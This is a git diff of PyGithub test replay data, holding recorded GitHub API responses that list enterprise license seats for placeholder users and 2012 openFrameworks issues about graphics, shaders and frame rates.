n_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user089","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user089","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user090","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user090","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} + +https +GET +api.github.com +None +/enterprises/beaver-group/consumed-licenses?page=4 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1d436b78f7cd5021a418b048a8958845726638e088319edfa2898c2ae23c1ce1"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4825'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '175'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '36DD:03FA:2DE97B:304197:64C1FE3A')] +{"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user091","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user091","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user092","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user092","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user093","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user093","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user094","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user094","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user095","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user095","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user096","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user096","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user097","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user097","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user098","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user098","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user099","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user099","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user100","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user100","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user101","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user101","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user102","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user102","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":false,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} diff --git a/tests/ReplayData/PaginatedList.testSeveralIterations.txt b/tests/ReplayData/PaginatedList.testSeveralIterations.txt index af3164c0ed..4e3674dd01 100644 --- a/tests/ReplayData/PaginatedList.testSeveralIterations.txt +++ b/tests/ReplayData/PaginatedList.testSeveralIterations.txt @@ -151,4 +151,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] - diff --git a/tests/ReplayData/PaginatedList.testSliceIndexingInFirstPage.txt b/tests/ReplayData/PaginatedList.testSliceIndexingInFirstPage.txt index ee62809a95..2286c170a5 100644 --- a/tests/ReplayData/PaginatedList.testSliceIndexingInFirstPage.txt +++ b/tests/ReplayData/PaginatedList.testSliceIndexingInFirstPage.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: 